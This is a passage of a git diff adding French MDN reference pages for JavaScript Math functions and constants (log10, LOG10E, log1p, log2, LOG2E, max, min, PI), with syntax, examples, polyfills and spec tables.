+<p>Si la valeur de l'argument est strictement inférieure à 0, la valeur renvoyée à {{jsxref("NaN")}}.</p>
+
+<p><code>log10()</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.<code>log10</code>()</code>et non pas la méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur). Cette fonction est équivalente à la fonction donnée par <code>Math.log(x) / Math.log(10)</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.log10()">Utiliser <code>Math.log10()</code></h3>
+
+<pre class="brush:js">Math.log10(2);      // 0.3010299956639812
+Math.log10(1);      // 0
+Math.log10(0);      // -Infinity
+Math.log10(-2);     // NaN
+Math.log10(100000); // 5
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Il est possible d'avoir un résultat approximatif avec la fonction suivante :</p>
+
+<pre class="brush: js">Math.log10 = Math.log10 || function(x) {
+  return Math.log(x) * Math.LOG10E;
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.log10', 'Math.log10')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log10', 'Math.log10')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.log10")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log10e/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log10e/index.html
new file mode 100644
index 0000000000..7ea27eefbc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/log10e/index.html
@@ -0,0 +1,83 @@
+---
+title: Math.LOG10E
+slug: Web/JavaScript/Reference/Objets_globaux/Math/LOG10E
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.LOG10E</strong></code> fournit la valeur du logarithme en base 10 de e, environ 0.434 :</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG10E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>0.434</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log10e.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>LOG10E</code> étant une propriété statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.LOG10E</code> et ne pas être appelée comme propriété d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.LOG10E">Utiliser <code>Math.LOG10E</code></h3>
+
+<p>La fonction suivante renvoie le logarithme en base 10 de e :</p>
+
+<pre class="brush:js">function getLog10e() {
+   return Math.LOG10E;
+}
+
+getLog10e(); // 0.4342944819032518</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.LOG10E")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log1p/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log1p/index.html
new file mode 100644
index 0000000000..b209a76043
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/log1p/index.html
@@ -0,0 +1,99 @@
+---
+title: Math.log1p()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/log1p
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log1p
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.log1p()</strong></code> renvoie le logarithme népérien (en base {{jsxref("Math/E","e")}}) d'un nombre +1, donné par la formule :</p>
+
+<p><math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mo>-</mo><mn>1</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log1p</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="TeX">\forall x &gt; -1, \mathtt{\operatorname{Math.log1p}(x)} = \ln(1 + x)</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log1p.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.log1p(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur du logarithme naturel de 1 plus l'argument (<code>log(1 + x</code>)). Si l'argument est inférieur à <code>-1</code>, {{jsxref("NaN")}} est renvoyée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si <code>x</code> est strictement inférieur à -1, la valeur renvoyée est {{jsxref("NaN")}}.</p>
+
+<p><code>log1p</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.<code>log1p</code>()</code> et non pas la méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.log1p()">Utiliser <code>Math.log1p()</code></h3>
+
+<pre class="brush:js">Math.log1p(1);  // 0.6931471805599453
+Math.log1p(0);  // 0
+Math.log1p(-1); // -Infinity
+Math.log1p(-2); // NaN
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Si cette fonction n'est pas disponible, elle peut être définie grâce au code suivant :</p>
+
+<pre class="brush: js">Math.log1p = Math.log1p || function(x) {
+  return Math.log(1 + x);
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.log1p', 'Math.log1p')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log1p', 'Math.log1p')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.log1p")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log2/index.html
new file mode 100644
index 0000000000..0b11603a85
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/log2/index.html
@@ -0,0 +1,92 @@
+---
+title: Math.log2()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/log2
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log2
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.log2()</strong></code> renvoie le logarithme en base 2 d'un nombre :</p>
+
+<p><math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log2</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>l'unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mn>2</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log2.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.log2(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le logarithme en base 2 du nombre passé en argument. Si ce nombre est négatif, c'est {{jsxref("NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si <code>x</code> est strictement inférieur à 0, la valeur renvoyée sera {{jsxref("NaN")}}.</p>
+
+<p><code>log2()</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.<code>log2</code>()</code> et non pas la méthode d'un autre objet qui aurait été créé (<code>Math </code>n'est pas un constructeur). Si on souhaite utiliser des constantes, on pourra employer {{jsxref("Math.LOG2E")}} ou {{jsxref("Math.LN2")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.log2()">Utiliser <code>Math.log2()</code></h3>
+
+<pre class="brush:js">Math.log2(3);    // 1.584962500721156
+Math.log2(2);    // 1
+Math.log2(1);    // 0
+Math.log2(0);    // -Infinity
+Math.log2(-2);   // NaN
+Math.log2(1024); // 10
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.log2', 'Math.log2')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log2', 'Math.log2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.log2")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log2e/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log2e/index.html
new file mode 100644
index 0000000000..dffc8423da
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/log2e/index.html
@@ -0,0 +1,83 @@
+---
+title: Math.LOG2E
+slug: Web/JavaScript/Reference/Objets_globaux/Math/LOG2E
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.LOG2E</strong></code> représente la valeur du logarithme en base 2 de e, environ 1.442 :</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG2E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>1.442</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log2e.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>LOG2E</code> est une propriété statique de l'objet <code>Math</code> et doit toujours être utilisé avec la syntaxe <code>Math.LOG2E</code> plutôt que comme la propriété d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.LOG2E">Utiliser <code>Math.LOG2E</code></h3>
+
+<p>La fonction suivante renvoie la valeur du logarithme en base 2 de e :</p>
+
+<pre class="brush:js">function getLog2e() {
+   return Math.LOG2E;
+}
+
+getLog2e(); // 1.4426950408889634</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log2e', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.LOG2E")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/max/index.html b/files/fr/web/javascript/reference/objets_globaux/math/max/index.html
new file mode 100644
index 0000000000..1964058b9b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/max/index.html
@@ -0,0 +1,115 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/max
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.max()</strong></code> renvoie le plus grand nombre d'une série de 0 ou plusieurs nombres.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-max.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.max([<var>valeur1</var>[,<var>valeur2</var>, ...]]) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur1, valeur2, ...</code></dt>
+ <dd>Des nombres.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le plus grand des nombres passés en arguments. S'il existe un des arguments qui ne peut pas être converti en nombre, c'est {{jsxref("NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>max()</code> est une méthode statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.max()</code>, elle ne doit pas être appelée comme la méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<p>Si aucun argument n'est fourni, le résultat sera -{{jsxref("Infinity")}}.</p>
+
+<p>Si au moins un des arguments ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.max()">Utiliser <code>Math.max()</code></h3>
+
+<pre class="brush: js">Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+</pre>
+
+<h3 id="Obtenir_l'élément_maximum_d'un_tableau">Obtenir l'élément maximum d'un tableau</h3>
+
+<p>La méthode {{jsxref("Array.prototype.reduce()")}} peut être utilisée pour déterminer la valeur maximale d'un tableau de nombre en comparant les valeurs qui se suivent :</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var max = arr.reduce(function(a,b) {
+  return Math.max(a, b);
+});</pre>
+
+<p>On peut également utiliser {{jsxref("Function.prototype.apply()")}} afin de trouver le maximum parmi un tableau de nombres. <code>getMaxTableau([1,2,3])</code> sera équivalent à <code>Math.max(1, 2, 3)</code>, mais <code>getMaxTableau</code> pourra être utilisé sur des tableaux de n'importe quelle taille.</p>
+
+<pre class="brush:js">function getMaxTableau(tableauNumérique) {
+    return Math.max.apply(null, tableauNumérique);
+}</pre>
+
+<p>Avec le nouvel {{jsxref("Opérateurs/Affecter_par_décomposition","opérateur de décomposition","","1")}}, on pourra également utiliser cette syntaxe, plus concise et plus simple :</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var max = Math.max(...arr);</pre>
+
+<p>Attention avec la décomposition et <code>apply()</code> qui pourront échouer s'il y a trop d'éléments dans le tableau (car ceux-ci seront passés en arguments). Pour plus d'informations, consulter <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/apply#Utiliser_apply_et_des_fonctions_natives">Utiliser apply() et les fonctions natives</a>. La méthode proposée avec <code>reduce()</code> n'a pas cette contrainte.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.max")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/min/index.html b/files/fr/web/javascript/reference/objets_globaux/math/min/index.html
new file mode 100644
index 0000000000..321548364d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/min/index.html
@@ -0,0 +1,111 @@
+---
+title: Math.min()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/min
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/min
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.min()</strong></code> renvoie le plus petit nombre d'une série de 0 ou plusieurs nombres ou bien {{jsxref("NaN")}} si au moins un des arguments fourni n'est pas un nombre ou ne peut pas être converti en nombre.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-min.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.min([<var>valeur1</var>[,<var>valeur2</var>, ...]]) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur1, valeur2, ...</code></dt>
+ <dd>Des nombres.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le plus petit des nombres passés en arguments. S'il existe un argument qui ne peut pas être converti en nombre, c'est {{jsxref("NaN")}} qui sera renvoyé. Le résultat sera {{jsxref("Infinity")}} si aucun paramètre n'est fourni.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>min()</code> est une méthode statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.min()</code> et ne doit pas être utilisée comme la méthode d'un objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<p>Si aucun argument n'est fourni, le résultat renvoyé par la fonction sera {{jsxref("Infinity")}}.</p>
+
+<p>Si au moins un des arguments ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.min()">Utiliser <code>Math.min()</code></h3>
+
+<p>Dans cet exemple, on trouve le minimum de x et y et on affecte cette valeur à z :</p>
+
+<pre class="brush:js">var x = 10, y = -20;
+var z = Math.min(x, y);
+</pre>
+
+<h3 id="Ramener_une_valeur_dans_un_intervalle_(clipping)_avec_Math.min()">Ramener une valeur dans un intervalle (<em>clipping</em>) avec <code>Math.min()</code></h3>
+
+<p><code>Math.min()</code> est souvent utilisée afin de ramener une certaine valeur dans un intervalle donné. Par exemple :</p>
+
+<pre class="brush:js">var x = f(toto);
+
+if (x &gt; limite) {
+  x = limite;
+}
+</pre>
+
+<p>peut s'écrire</p>
+
+<pre class="brush:js">var x = Math.min(f(toto), limite);</pre>
+
+<div>{{jsxref("Math.max()")}} peut être utilisée de façon semblable pour ramener une valeur vers un minimum d'un intervalle donné.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.min")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/pi/index.html b/files/fr/web/javascript/reference/objets_globaux/math/pi/index.html
new file mode 100644
index 0000000000..1afe5afc3a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/pi/index.html
@@ -0,0 +1,81 @@
+---
+title: Math.PI
+slug: Web/JavaScript/Reference/Objets_globaux/Math/PI
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.PI</strong></code> représente le ratio entre le périmètre d'un cercle et son diamètre. Elle vaut environ 3.14159:</p>
+
